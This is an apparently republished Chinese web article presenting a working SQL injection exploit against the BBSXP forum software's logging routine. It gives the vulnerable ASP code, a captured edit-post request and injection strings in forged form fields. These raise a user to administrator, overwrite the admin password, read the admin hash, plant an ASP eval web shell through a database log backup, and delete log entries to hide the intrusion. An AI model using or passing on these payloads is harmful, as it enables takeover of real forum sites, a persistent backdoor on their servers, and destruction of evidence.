bbsxp sql最新版0day

减小字体 增大字体 作者:佚名  来源:zmke.com  发布时间:2007-03-30 04:08:33

bbsxp前段时间出了个log的注入漏洞,这次的漏洞还是出现在这个地方。
引用内容
sub Log(Message)
if Request.ServerVariables("Query_String")<>"" then Query_String="?"&Request.ServerVariables("Query_String")&""
Conn.Execute("insert into [BBSXP_Log] (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes) values ('"&CookieUserName&"','"&Request.ServerVariables("REMOTE_ADDR")&"','"&HTMLEncode(Request.Servervariables("HTTP_User_AGENT"))&"','"&Request.ServerVariables("request_method")&"','http://"&Request.ServerVariables("server_name")&""&Request.ServerVariables("script_name")&""&Query_String&"','"&HTMLEncode(Request.ServerVariables("HTTP_REFERER"))&"','"&Err.Description&"','"&Request.Form&"','"&Message&"')")
end sub


上次漏洞就是出现在HTTP_REFERER上,最新版本的已经用HTMLEncode处理过了。其实在在这个log()里面还是有我们可以控制的变量,就是Request.Form
注册个用户yl6364,发个贴再编辑。抓包如下:
引用内容
POST /bbsxp/editpost.asp?threadid=1&postid=1 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://localhost/bbsxp/editpost.asp?threadid=1&postid=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)
Host: localhost
Content-Length: 53
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: skins=1; Eremite=0; UserID=2; Userpass=1679707407E0FEDAA79EA80AB389A964; Onlinetime=2007%2D3%2D10+21%3A30%3A37; ForumNameList=%3Coption%20value%3D%27ShowForum.asp%3FForumID%3D1%27%3E%u7F51%u7EDC%3C/option%3E; ASPSESSIONIDSQCDCSQA=NBOPHAJCAIEFFCMHGDFJNKBH; ASPSESSIONIDSCTRRACA=OCIBAKBAFDDDJAADKKJBPBNI

content=test+log&UpFileID=&Category=&Subject=test+log


变量Request.Form就是
引用内容
content=test+log&UpFileID=&Category=&Subject=test+log


上面的变量都是经过HTMLEncode处理的,但是我们还是可以想办法饶过去。
我们可以伪造变量,比如我们把content=test+log&UpFileID=&Category=&Subject=test+log改为
引用内容
content=test+log&UpFileID=&Category=&Subject=test+log&yl6364=love


记得修改Content-Length,打开bbsxp_log表看见POSTData为:
引用内容
content=test+log&UpFileID=&Category=&Subject=test+log&yl6364=love


看出点什么来了吗嘿嘿,我们伪造的变量yl6364就这样进数据库了。因为是伪造的变量所以自然是没有经过任何的过滤。下面思路就清晰了,提升权限为管理员然后进后台查看网站的路境,再利用log备份拿webshell
提升权限:
引用内容
content=test+log&UpFileID=&Category=&Subject=test+log

改为:

引用内容
content=test+log&UpFileID=&Category=&Subject=test+log&yl6364=love','');update bbsxp_users set userroleid=1 where username='yl6364'--


这样就变为前台的管理员。

修改后台的密码:

引用内容
update bbsxp_sitesettings set adminpassword='md5密码'--

bbsxp经过md5加密的密码字母都是大写的

获得数据库的名:

引用内容
update bbsxp_users set usermail=db_name() where username='yl6364'--


log备份拿webshell:
引用内容
alter database bbsxp set recovery full;drop table cmd;create table cmd (a image);backup log bbsxp to disk = 'c:\cmd' with init;insert into cmd(a) values ('<%eval request(chr(35)):response.end%>');backup log bbsxp to disk = 'C:\web\bbsxp\cmd.asp';--


修改后台密码要记得改回来哦,不然管理员就进不了后台了,所以最好弄得到管理员密码。
最后要记得擦PP,

引用内容
delete * from bbsxp_log where username='yl6364'--



ps:官方论坛我测试过没有成功,不知道什么原因。不过在本地和网上测试成功!

4a5d4ec6a5f778c3bb21f257cdc89154

update bbsxp_users usermail=(select adminpassword from bbsxp_sitesettings) where username='yl6364'--

Tags:

作者:佚名
  • 好的评价 如果您觉得此文章好,就请您
      0%(0)
  • 差的评价 如果您觉得此文章差,就请您
      0%(0)

文章评论评论内容只代表网友观点,与本站立场无关!

   评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论